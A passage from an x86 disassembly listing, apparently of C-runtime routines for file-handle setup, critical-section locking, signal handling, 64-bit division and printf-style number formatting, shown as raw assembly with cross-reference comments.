dword_411DEC ; GetFileType mov edi, eax test edi, edi jnz short loc_44BB99 call dword_411CE8 ; RtlGetLastWin32Error push eax call sub_4491C1 pop ecx or eax, 0FFFFFFFFh jmp short loc_44BBF2 ; --------------------------------------------------------------------------- loc_44BB99: ; CODE XREF: DMN1:0044BB85j cmp edi, 2 jnz short loc_44BBA3 or bl, 40h jmp short loc_44BBAB ; --------------------------------------------------------------------------- loc_44BBA3: ; CODE XREF: DMN1:0044BB9Cj cmp edi, 3 jnz short loc_44BBAB or bl, 8 loc_44BBAB: ; CODE XREF: DMN1:0044BBA1j ; DMN1:0044BBA6j call sub_44B851 mov esi, eax cmp eax, 0FFFFFFFFh jnz short loc_44BBC7 call sub_449321 mov dword ptr [eax], 18h or eax, 0FFFFFFFFh jmp short loc_44BBF2 ; --------------------------------------------------------------------------- loc_44BBC7: ; CODE XREF: DMN1:0044BBB5j mov eax, [esp+10h] push eax push esi call sub_44BA31 add esp, 8 or bl, 1 mov eax, esi and eax, 1Fh imul eax, 24h mov edx, esi sar edx, 5 mov edx, dword_413988[edx*4] mov [edx+eax+4], bl mov eax, esi loc_44BBF2: ; CODE XREF: DMN1:0044BB97j ; DMN1:0044BBC5j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44BC01 proc near ; CODE XREF: sub_449DA1+3Ap ; sub_44B7E1+3Cp ... arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea esi, [edx+eax] cmp dword ptr [esi+8], 0 jnz short loc_44BC47 push 3 call sub_4496C1 pop ecx cmp dword ptr [esi+8], 0 jnz short loc_44BC3F lea eax, [esi+0Ch] push eax call dword_411CC8 ; InitializeCriticalSection inc dword ptr [esi+8] loc_44BC3F: ; CODE XREF: sub_44BC01+2Fj push 3 call sub_449741 pop ecx loc_44BC47: ; CODE XREF: sub_44BC01+21j lea eax, [esi+0Ch] push eax call dword_411CCC ; RtlEnterCriticalSection pop esi pop ebx retn sub_44BC01 endp ; --------------------------------------------------------------------------- db 8Dh, 0BFh, 4 dup(0) db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44BC61 proc near ; CODE XREF: sub_449DA1+4Ap ; sub_44B7E1+56p ... arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+0Ch] push eax call dword_411CD0 ; RtlLeaveCriticalSection pop ebx retn sub_44BC61 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; --------------------------------------------------------------------------- push ebx push 1 push 2 call sub_44BCD1 add esp, 8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_44BCAC test ebx, ebx jnz short loc_44BCB0 loc_44BCAC: ; CODE XREF: DMN1:0044BCA6j xor eax, eax jmp short loc_44BCCB ; --------------------------------------------------------------------------- loc_44BCB0: ; CODE XREF: DMN1:0044BCAAj cmp ebx, 1 jz short loc_44BCC6 push 0 push 2 call sub_44BCD1 add esp, 8 push 2 call ebx pop ecx loc_44BCC6: ; CODE XREF: DMN1:0044BCB3j mov eax, 1 loc_44BCCB: ; CODE XREF: DMN1:0044BCAEj pop ebx retn 4 ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44BCD1 proc near ; CODE XREF: sub_44A121+18p ; sub_44A121+3Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi mov ebx, [ebp+arg_0] test ebx, ebx jle short loc_44BCEF cmp ebx, 2Ch jge short loc_44BCEF cmp [ebp+arg_4], 0FFFFFFFFh jnz short loc_44BCF7 loc_44BCEF: ; CODE XREF: sub_44BCD1+Ej ; sub_44BCD1+13j or eax, 0FFFFFFFFh jmp loc_44BDA7 ; --------------------------------------------------------------------------- loc_44BCF7: ; CODE XREF: sub_44BCD1+1Cj cmp ebx, 4 jz short loc_44BD06 cmp ebx, 8 jz short loc_44BD06 cmp ebx, 0Bh jnz short loc_44BD65 loc_44BD06: ; CODE XREF: sub_44BCD1+29j ; sub_44BCD1+2Ej call sub_44A011 mov [ebp+var_8], eax mov eax, [eax+34h] cmp eax, offset dword_4117E4 jnz short loc_44BD46 push 0B0h call sub_449121 pop ecx mov edx, [ebp+var_8] mov [edx+34h], eax test eax, eax jz short loc_44BD41 mov eax, [ebp+var_8] mov edi, [eax+34h] mov esi, offset dword_4117E4 mov ecx, 2Ch rep movsd jmp short loc_44BD46 ; --------------------------------------------------------------------------- loc_44BD41: ; CODE XREF: sub_44BCD1+5Aj or eax, 0FFFFFFFFh jmp short loc_44BDA7 ; --------------------------------------------------------------------------- loc_44BD46: ; CODE XREF: sub_44BCD1+45j ; sub_44BCD1+6Ej mov eax, ebx shl eax, 2 mov edx, [ebp+var_8] mov ecx, [edx+34h] mov ecx, [ecx+eax] mov [ebp+var_4], ecx mov edx, [edx+34h] mov ecx, [ebp+arg_4] mov [edx+eax], ecx mov eax, [ebp+var_4] jmp short loc_44BDA7 ; --------------------------------------------------------------------------- loc_44BD65: ; CODE XREF: sub_44BCD1+33j cmp ebx, 2 jnz short loc_44BD93 cmp dword_41189C, 0 jnz short loc_44BD93 push 1 push offset sub_40AD10 call dword_411E10 ; SetConsoleCtrlHandler test eax, eax jnz short loc_44BD89 or eax, 0FFFFFFFFh jmp short loc_44BDA7 ; --------------------------------------------------------------------------- loc_44BD89: ; CODE XREF: sub_44BCD1+B1j mov dword_41189C, 1 loc_44BD93: ; CODE XREF: sub_44BCD1+97j ; sub_44BCD1+A0j lea eax, ds:4117E4h[ebx*4] mov edx, [eax] mov [ebp+var_4], edx mov edx, [ebp+arg_4] mov [eax], edx mov eax, [ebp+var_4] loc_44BDA7: ; CODE XREF: sub_44BCD1+21j ; sub_44BCD1+73j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44BCD1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Fh, 0 ; =============== S U B R O U T I N E ======================================= sub_44BDB1 proc near ; CODE XREF: DMN1:00448A4Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_44BDB1 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= sub_44BDC1 proc near ; CODE XREF: DMN1:0044A20Dp ; sub_44BF81+F3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_4] or eax, eax jnz short loc_44BDE3 mov ecx, [esp+8+arg_0] mov eax, [esp+8+arg_C] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_8] div ecx mov edx, ebx jmp short loc_44BE24 ; --------------------------------------------------------------------------- loc_44BDE3: ; CODE XREF: sub_44BDC1+8j mov ecx, eax mov ebx, [esp+8+arg_0] mov edx, [esp+8+arg_C] mov eax, [esp+8+arg_8] loc_44BDF1: ; CODE XREF: sub_44BDC1+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_44BDF1 div ebx mov esi, eax mul [esp+8+arg_4] mov ecx, eax mov eax, [esp+8+arg_0] mul esi add edx, ecx jb short loc_44BE1F cmp edx, [esp+8+arg_C] ja short loc_44BE1F jb short loc_44BE20 cmp eax, [esp+8+arg_8] jbe short loc_44BE20 loc_44BE1F: ; CODE XREF: sub_44BDC1+4Ej ; sub_44BDC1+54j dec esi loc_44BE20: ; CODE XREF: sub_44BDC1+56j ; sub_44BDC1+5Cj xor edx, edx mov eax, esi loc_44BE24: ; CODE XREF: sub_44BDC1+20j pop esi pop ebx retn 10h sub_44BDC1 endp ; --------------------------------------------------------------------------- db 90h db 8Dh, 0BCh, 27h, 4 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44BE31 proc near ; CODE XREF: sub_44ABB1+B3p ; sub_44ABB1+6E1p var_64 = dword ptr -64h var_60 = byte ptr -60h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 64h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] cmp dword ptr [ebx+2Ch], 0 jge short loc_44BE4F mov [ebp+var_64], 7FFFFFFFh jmp short loc_44BE55 ; --------------------------------------------------------------------------- loc_44BE4F: ; CODE XREF: sub_44BE31+13j mov eax, [ebx+2Ch] mov [ebp+var_64], eax loc_44BE55: ; CODE XREF: sub_44BE31+1Cj mov eax, [ebp+var_64] mov [ebp+var_4], eax movzx eax, byte_4118A0 mov edx, [ebx+34h] add eax, edx mov [ebp+var_14], eax mov [ebp+var_1C], 0 mov [ebp+var_18], 0 test word ptr [ebx+38h], 4 jnz short loc_44BE86 cmp [ebp+var_14], 40h ja short loc_44BE95 loc_44BE86: ; CODE XREF: sub_44BE31+4Dj lea eax, [ebp+var_60] mov [ebp+var_10], eax mov [ebp+var_14], 40h jmp short loc_44BEAE ; --------------------------------------------------------------------------- loc_44BE95: ; CODE XREF: sub_44BE31+53j mov eax, [ebp+var_14] push eax call sub_449121 pop ecx mov [ebp+var_10], eax test eax, eax jnz short loc_44BEAE or eax, 0FFFFFFFFh jmp loc_44BF76 ; --------------------------------------------------------------------------- loc_44BEAE: ; CODE XREF: sub_44BE31+62j ; sub_44BE31+73j test esi, esi jnz short loc_44BEB7 mov esi, offset aNull ; "(null)" loc_44BEB7: ; CODE XREF: sub_44BE31+7Fj mov [ebp+var_20], 0 jmp short loc_44BF3C ; --------------------------------------------------------------------------- loc_44BEC0: ; CODE XREF: sub_44BE31+10Fj lea eax, [ebp+var_1C] push eax movzx eax, word ptr [esi] push eax lea eax, [ebp+var_C] push eax call sub_44CE61 add esp, 0Ch mov edi, eax test eax, eax jl short loc_44BEE7 cmp word ptr [esi], 0 jnz short loc_44BEED dec edi mov eax, edi test eax, eax jge short loc_44BEED loc_44BEE7: ; CODE XREF: sub_44BE31+A7j or [ebp+var_20], 0FFFFFFFFh jmp short loc_44BF46 ; --------------------------------------------------------------------------- loc_44BEED: ; CODE XREF: sub_44BE31+ADj ; sub_44BE31+B4j cmp [ebp+var_4], edi jl short loc_44BF46 mov eax, [ebx+14h] add eax, edi cmp [ebp+var_14], eax jnb short loc_44BF17 mov dword ptr [ebx+34h], 0 mov eax, [ebp+var_10] push eax push ebx call sub_44B2F1 add esp, 8 mov dword ptr [ebx+14h], 0 loc_44BF17: ; CODE XREF: sub_44BE31+C9j push edi lea eax, [ebp+var_C] push eax mov eax, [ebx+14h] mov edx, [ebp+var_10] add eax, edx push eax call sub_4485B1 add esp, 0Ch add [ebx+14h], edi cmp word ptr [esi], 0 jz short loc_44BF46 add esi, 2 sub [ebp+var_4], edi loc_44BF3C: ; CODE XREF: sub_44BE31+8Dj cmp [ebp+var_4], 0 jg loc_44BEC0 loc_44BF46: ; CODE XREF: sub_44BE31+BAj ; sub_44BE31+BFj ... mov eax, [ebp+var_10] push eax push ebx call sub_44B2F1 add esp, 8 mov dword ptr [ebx+34h], 0 mov dword ptr [ebx+14h], 0 lea eax, [ebp+var_60] cmp eax, [ebp+var_10] jz short loc_44BF73 mov eax, [ebp+var_10] push eax call sub_448071 pop ecx loc_44BF73: ; CODE XREF: sub_44BE31+136j mov eax, [ebp+var_20] loc_44BF76: ; CODE XREF: sub_44BE31+78j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44BE31 endp ; --------------------------------------------------------------------------- db 8Dh, 7Ch, 27h, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44BF81 proc near ; CODE XREF: sub_44ABB1+256p ; sub_44ABB1+3CAp ... var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = byte ptr -20h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi cmp [ebp+arg_4], 58h jnz short loc_44BF99 mov [ebp+var_34], offset a0123456789abcd ; "0123456789ABCDEF" jmp short loc_44BFA0 ; --------------------------------------------------------------------------- loc_44BF99: ; CODE XREF: sub_44BF81+Dj mov [ebp+var_34], offset a0123456789ab_0 ; "0123456789abcdef" loc_44BFA0: ; CODE XREF: sub_44BF81+16j mov eax, [ebp+var_34] mov [ebp+var_24], eax cmp [ebp+arg_4], 6Fh jnz short loc_44BFB5 mov [ebp+var_38], 8 jmp short loc_44BFD0 ; --------------------------------------------------------------------------- loc_44BFB5: ; CODE XREF: sub_44BF81+29j mov al, [ebp+arg_4] cmp al, 78h jz short loc_44BFC9 cmp al, 58h jz short loc_44BFC9 mov [ebp+var_38], 0Ah jmp short loc_44BFD0 ; --------------------------------------------------------------------------- loc_44BFC9: ; CODE XREF: sub_44BF81+39j ; sub_44BF81+3Dj mov [ebp+var_38], 10h loc_44BFD0: ; CODE XREF: sub_44BF81+32j ; sub_44BF81+46j mov eax, [ebp+var_38] mov [ebp+var_8], eax mov [ebp+var_4], 18h mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] mov [ebp+var_30], eax mov [ebp+var_2C], edx mov al, [ebp+arg_4] cmp al, 64h jz short loc_44BFF6 cmp al, 69h jnz short loc_44C01B loc_44BFF6: ; CODE XREF: sub_44BF81+6Fj mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jg short loc_44C01B jl short loc_44C008 test eax, eax jnb short loc_44C01B loc_44C008: ; CODE XREF: sub_44BF81+81j mov eax, [ebp+var_30] mov edx, [ebp+var_2C] neg eax adc edx, 0 neg edx mov [ebp+var_30], eax mov [ebp+var_2C], edx loc_44C01B: ; CODE XREF: sub_44BF81+73j ; sub_44BF81+7Fj ... mov eax, [ebp+var_30] mov edx, [ebp+var_2C] test edx, edx jnz short loc_44C032 test eax, eax jnz short loc_44C032 mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jz short loc_44C062 loc_44C032: ; CODE XREF: sub_44BF81+A2j ; sub_44BF81+A6j mov eax, [ebp+var_4] dec eax mov [ebp+var_3C], eax mov [ebp+var_4], eax mov ecx, [ebp+var_30] mov ebx, [ebp+var_2C] mov edx, [ebp+var_8] mov esi, edx mov edi, esi sar edi, 1Fh push ebx push ecx push edi push esi call sub_44D0B1 mov edx, [ebp+var_24] mov al, [edx+eax] mov edx, [ebp+var_3C] mov [ebp+edx+var_20], al loc_44C062: ; CODE XREF: sub_44BF81+AFj mov eax, [ebp+var_30] mov edx, [ebp+var_2C] mov ecx, [ebp+var_8] mov ebx, ecx sar ebx, 1Fh push edx push eax push ebx push ecx call sub_44BDC1 mov ecx, [ebp+arg_0] mov [ecx], eax mov [ecx+4], edx jmp short loc_44C0F3 ; --------------------------------------------------------------------------- loc_44C083: ; CODE XREF: sub_44BF81+188j mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] mov ecx, [ebp+var_8] mov ebx, ecx sar ebx, 1Fh push edx push eax push ebx push ecx call sub_44D131 mov [ebp+var_48], eax mov [ebp+var_44], edx mov eax, [ebp+var_4] dec eax mov [ebp+var_4C], eax mov [ebp+var_4], eax mov edx, [ebp+var_8] mov ecx, edx mov ebx, ecx sar ebx, 1Fh mov esi, [ebp+var_48] mov edi, [ebp+var_44] push ebx push ecx push edi push esi call sub_44D1E1 neg eax adc edx, 0 neg edx mov ecx, [ebp+arg_0] mov ebx, [ecx+4] mov ecx, [ecx] add eax, ecx adc edx, ebx mov edx, [ebp+var_24] mov al, [edx+eax] mov edx, [ebp+var_4C] mov [ebp+edx+var_20], al mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov ebx, [ebp+var_44] mov [eax], ecx mov [eax+4], ebx loc_44C0F3: ; CODE XREF: sub_44BF81+100j mov eax, [ebp+arg_0] mov edx, [eax+4] mov eax, [eax] test edx, edx jl short loc_44C10F jg short loc_44C105 test eax, eax jbe short loc_44C10F loc_44C105: ; CODE XREF: sub_44BF81+17Ej cmp [ebp+var_4], 0 jg loc_44C083 loc_44C10F: ; CODE XREF: sub_44BF81+17Cj ; sub_44BF81+182j cmp [ebp+var_8], 8 jnz short loc_44C13B mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jz short loc_44C13B mov eax, [ebp+var_4] cmp eax, 18h jnb short loc_44C13B cmp [ebp+eax+var_20], 30h jz short loc_44C13B mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov [ebp+eax+var_20], 30h loc_44C13B: ; CODE XREF: sub_44BF81+192j ; sub_44BF81+19Dj ... mov edx, [ebp+arg_0] mov eax, 18h mov ecx, [ebp+var_4] sub eax, ecx mov [edx+1Ch], eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] push edx mov edx, [ebp+var_4] lea edx, [ebp+edx+var_20] push edx mov eax, [eax+10h] push eax call sub_4485B1 add esp, 0Ch mov eax, [ebp+arg_0] mov edx, [eax+2Ch] cmp [eax+1Ch], edx jge short loc_44C187 mov eax, [ebp+arg_0] mov edx, [eax+2Ch] sub edx, [eax+1Ch] mov [eax+18h], edx mov eax, [ebp+arg_0] and word ptr [eax+38h], 0FFEFh jmp short loc_44C1B8 ; --------------------------------------------------------------------------- loc_44C187: ; CODE XREF: sub_44BF81+1EEj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_44C1B8 movzx edx, word ptr [eax+38h] and edx, 14h cmp edx, 10h jnz short loc_44C1B8 mov edx, [eax+34h] sub edx, [eax+14h] sub edx, [eax+18h] sub edx, [eax+1Ch] mov [ebp+var_4], edx test edx, edx jle short loc_44C1B8 mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov [edx+18h], eax loc_44C1B8: ; CODE XREF: sub_44BF81+204j ; sub_44BF81+20Dj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_44BF81 endp ; --------------------------------------------------------------------------- db 89h, 0FFh ; =============== S U B R O U T I N E ======================================= sub_44C1C1 proc near ; CODE XREF: sub_44ABB1+40Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_44D221 pop ecx movsx eax, ax retn sub_44C1C1 endp ; --------------------------------------------------------------------------- db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44C1D1 proc near ; CODE XREF: sub_44ABB1+48Cp var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = qword ptr -58h var_50 = qword ptr -50h var_48 = dword ptr -48h var_44 = dword ptr -44h var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_16 = word ptr -16h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = qword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 64h lea eax, [ebp+var_3E] mov [ebp+var_4], eax mov eax, [ebp+arg_0] fld qword ptr [eax] fstp [ebp+var_10] mov al, [ebp+arg_4] cmp al, 61h jz short loc_44C1F0 cmp al, 41h jnz short loc_44C1F2 loc_44C1F0: ; CODE XREF: sub_44C1D1+19j jmp short loc_44C225 ; --------------------------------------------------------------------------- loc_44C1F2: ; CODE XREF: sub_44C1D1+1Dj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_44C207 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 6 jmp short loc_44C225 ; --------------------------------------------------------------------------- loc_44C207: ; CODE XREF: sub_44C1D1+28j mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jnz short loc_44C225 mov al, [ebp+arg_4] cmp al, 67h jz short loc_44C21B cmp al, 47h jnz short loc_44C225 loc_44C21B: ; CODE XREF: sub_44C1D1+44j mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 1 loc_44C225: ; CODE XREF: sub_44C1D1:loc_44C1F0j ; sub_44C1D1+34j ... mov eax, [ebp+arg_0] push eax lea eax, [ebp+var_14] push eax call sub_44D291 add esp, 8 mov [ebp+var_16], ax cmp ax, 2 jnz short loc_44C28A mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 3 mov eax, 3 push eax mov al, [ebp+arg_4] cmp al, 61h jz short loc_44C262 cmp al, 65h jz short loc_44C262 cmp al, 66h jz short loc_44C262 cmp al, 67h jnz short loc_44C26B loc_44C262: ; CODE XREF: sub_44C1D1+83j ; sub_44C1D1+87j ... mov [ebp+var_44], 4100E2h jmp short loc_44C272 ; --------------------------------------------------------------------------- loc_44C26B: ; CODE XREF: sub_44C1D1+8Fj mov [ebp+var_44], offset word_4100DE loc_44C272: ; CODE XREF: sub_44C1D1+98j mov eax, [ebp+var_44] push eax mov eax, [ebp+arg_0] mov eax, [eax+10h] push eax call sub_4485B1 add esp, 0Ch jmp loc_44C825 ; --------------------------------------------------------------------------- loc_44C28A: ; CODE XREF: sub_44C1D1+6Cj cmp [ebp+var_16], 0 jle short loc_44C2DC mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 3 mov eax, 3 push eax mov al, [ebp+arg_4] cmp al, 61h jz short loc_44C2B4 cmp al, 65h jz short loc_44C2B4 cmp al, 66h jz short loc_44C2B4 cmp al, 67h jnz short loc_44C2BD loc_44C2B4: ; CODE XREF: sub_44C1D1+D5j ; sub_44C1D1+D9j ... mov [ebp+var_44], offset word_4100DA jmp short loc_44C2C4 ; --------------------------------------------------------------------------- loc_44C2BD: ; CODE XREF: sub_44C1D1+E1j mov [ebp+var_44], offset off_4100D6 loc_44C2C4: ; CODE XREF: sub_44C1D1+EAj mov eax, [ebp+var_44] push eax mov eax, [ebp+arg_0] mov eax, [eax+10h] push eax call sub_4485B1 add esp, 0Ch jmp loc_44C825 ; --------------------------------------------------------------------------- loc_44C2DC: ; CODE XREF: sub_44C1D1+BEj mov al, [ebp+arg_4] cmp al, 61h jz short loc_44C2E7 cmp al, 41h jnz short loc_44C31F loc_44C2E7: ; CODE XREF: sub_44C1D1+110j mov eax, [ebp+arg_0] mov edx, [eax+10h] add eax, 10h lea ecx, [edx+1] mov [eax], ecx mov byte ptr [edx], 30h mov eax, [ebp+arg_0] mov edx, [eax+10h] add eax, 10h lea ecx, [edx+1] mov [eax], ecx xor eax, eax cmp [ebp+arg_4], 61h setnz al dec eax and eax, 20h add eax, 58h mov [edx], al mov eax, [ebp+arg_0] add dword ptr [eax+14h], 2 loc_44C31F: ; CODE XREF: sub_44C1D1+114j cmp [ebp+var_16], 0 jnz short loc_44C337 mov [ebp+var_12], 0 mov [ebp+var_14], 0 jmp loc_44C806 ; --------------------------------------------------------------------------- loc_44C337: ; CODE XREF: sub_44C1D1+153j mov al, [ebp+arg_4] cmp al, 61h jz short loc_44C346 cmp al, 41h jnz loc_44C54C loc_44C346: ; CODE XREF: sub_44C1D1+16Bj cmp [ebp+arg_4], 61h jnz short loc_44C355 mov dword ptr [ebp+var_50+4], offset a0123456789ab_1 ; "0123456789abcdef" jmp short loc_44C35C ; --------------------------------------------------------------------------- loc_44C355: ; CODE XREF: sub_44C1D1+179j mov dword ptr [ebp+var_50+4], offset a0123456789ab_2 ; "0123456789ABCDEF" loc_44C35C: ; CODE XREF: sub_44C1D1+182j mov eax, dword ptr [ebp+var_50+4] mov [ebp+var_48], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge short loc_44C374 mov dword ptr [ebp+var_50], 21h jmp short loc_44C37E ; --------------------------------------------------------------------------- loc_44C374: ; CODE XREF: sub_44C1D1+198j mov eax, [ebp+arg_0] mov eax, [eax+2Ch] inc eax mov dword ptr [ebp+var_50], eax loc_44C37E: ; CODE XREF: sub_44C1D1+1A1j mov eax, dword ptr [ebp+var_50] mov [ebp+var_12], ax movsx eax, [ebp+var_12] inc eax mov [ebp+var_44], eax fld dbl_4100AC fcomp [ebp+var_10] fnstsw ax sahf jbe short loc_44C3A7 mov eax, [ebp+arg_0] fld qword ptr [eax] fchs fstp [ebp+var_58] jmp short loc_44C3AF ; --------------------------------------------------------------------------- loc_44C3A7: ; CODE XREF: sub_44C1D1+1C8j mov eax, [ebp+arg_0] fld qword ptr [eax] fstp [ebp+var_58] loc_44C3AF: ; CODE XREF: sub_44C1D1+1D4j fld [ebp+var_58] fstp [ebp+var_10] sub [ebp+var_14], 4 mov eax, [ebp+var_4] lea edx, [eax+1] mov [ebp+var_4], edx mov byte ptr [eax], 0 jmp loc_44C452 ; --------------------------------------------------------------------------- loc_44C3CB: ; CODE XREF: sub_44C1D1+293j push 1Ch lea eax, [ebp+var_10] push eax call sub_44D2B1 add esp, 8 fld [ebp+var_10] call sub_44D2D1 mov [ebp+var_5C], eax mov eax, [ebp+var_44] sub eax, 7 mov [ebp+var_44], eax test eax, eax jle short loc_44C3FC fld [ebp+var_10] fild [ebp+var_5C] fsubp st(1), st fstp [ebp+var_10] loc_44C3FC: ; CODE XREF: sub_44C1D1+21Ej mov eax, [ebp+var_4] add eax, 7 mov [ebp+var_4], eax mov [ebp+var_60], 7 jmp short loc_44C421 ; --------------------------------------------------------------------------- loc_44C40E: ; CODE XREF: sub_44C1D1+25Fj mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov edx, [ebp+var_5C] and edx, 0Fh mov [eax], dl sar [ebp+var_5C], 4 loc_44C421: ; CODE XREF: sub_44C1D1+23Bj cmp [ebp+var_5C], 0 jle short loc_44C432 mov eax, [ebp+var_60] dec eax mov [ebp+var_60], eax test eax, eax jge short loc_44C40E loc_44C432: ; CODE XREF: sub_44C1D1+254j jmp short loc_44C43E ; --------------------------------------------------------------------------- loc_44C434: ; CODE XREF: sub_44C1D1+276j mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax mov byte ptr [eax], 0 loc_44C43E: ; CODE XREF: sub_44C1D1:loc_44C432j mov eax, [ebp+var_60] dec eax mov [ebp+var_60], eax test eax, eax jge short loc_44C434 mov eax, [ebp+var_4] add eax, 7 mov [ebp+var_4], eax loc_44C452: ; CODE XREF: sub_44C1D1+1F5j cmp [ebp+var_44], 0 jle short loc_44C46A fld [ebp+var_10] fcomp dbl_4100AC fnstsw ax sahf ja loc_44C3CB loc_44C46A: ; CODE XREF: sub_44C1D1+285j mov eax, [ebp+var_4] lea edx, [ebp+var_3D] sub eax, edx mov [ebp+var_44], eax lea eax, [ebp+var_3D] mov [ebp+var_4], eax movsx eax, [ebp+var_12] cmp [ebp+var_44], eax jge short loc_44C48B mov eax, [ebp+var_44] mov [ebp+var_12], ax loc_44C48B: ; CODE XREF: sub_44C1D1+2B1j cmp [ebp+var_12], 0 jl loc_44C52F mov ax, [ebp+var_12] movsx edx, ax cmp edx, [ebp+var_44] jge short loc_44C4B7 movsx eax, ax mov edx, [ebp+var_4] cmp byte ptr [edx+eax], 8 jb short loc_44C4B7 mov [ebp+var_64], 0Fh jmp short loc_44C4BE ; --------------------------------------------------------------------------- loc_44C4B7: ; CODE XREF: sub_44C1D1+2CFj ; sub_44C1D1+2DBj mov [ebp+var_64], 0 loc_44C4BE: ; CODE XREF: sub_44C1D1+2E4j mov eax, [ebp+var_64] mov byte ptr [ebp+var_60+3], al movsx eax, [ebp+var_12] mov [ebp+var_5C], eax jmp short loc_44C4D2 ; --------------------------------------------------------------------------- loc_44C4CD: ; CODE XREF: sub_44C1D1+311j sub [ebp+var_12], 1 loc_44C4D2: ; CODE XREF: sub_44C1D1+2FAj mov eax, [ebp+var_5C] dec eax mov [ebp+var_5C], eax mov edx, [ebp+var_4] mov cl, byte ptr [ebp+var_60+3] cmp [edx+eax], cl jz short loc_44C4CD cmp byte ptr [ebp+var_60+3], 0Fh jnz short loc_44C4F5 mov eax, [ebp+var_5C] mov edx, [ebp+var_4] add eax, edx add byte ptr [eax], 1 loc_44C4F5: ; CODE XREF: sub_44C1D1+317j cmp [ebp+var_5C], 0 jge short loc_44C508 dec [ebp+var_4] add [ebp+var_12], 1 add [ebp+var_14], 4 loc_44C508: ; CODE XREF: sub_44C1D1+328j movsx eax, [ebp+var_12] mov [ebp+var_5C], eax jmp short loc_44C524 ; --------------------------------------------------------------------------- loc_44C511: ; CODE XREF: sub_44C1D1+35Cj mov eax, [ebp+var_5C] mov edx, [ebp+var_4] add eax, edx movzx edx, byte ptr [eax] mov ecx, [ebp+var_48] mov dl, [ecx+edx] mov [eax], dl loc_44C524: ; CODE XREF: sub_44C1D1+33Ej mov eax, [ebp+var_5C] dec eax mov [ebp+var_5C], eax test eax, eax jge short loc_44C511 loc_44C52F: ; CODE XREF: sub_44C1D1+2BFj mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jge loc_44C806 mov edx, [ebp+arg_0] movsx eax, [ebp+var_12] dec eax mov [edx+2Ch], eax jmp loc_44C806 ; --------------------------------------------------------------------------- loc_44C54C: ; CODE XREF: sub_44C1D1+16Fj fld dbl_4100AC fcomp [ebp+var_10] fnstsw ax sahf jbe short loc_44C562 fld [ebp+var_10] fchs fstp 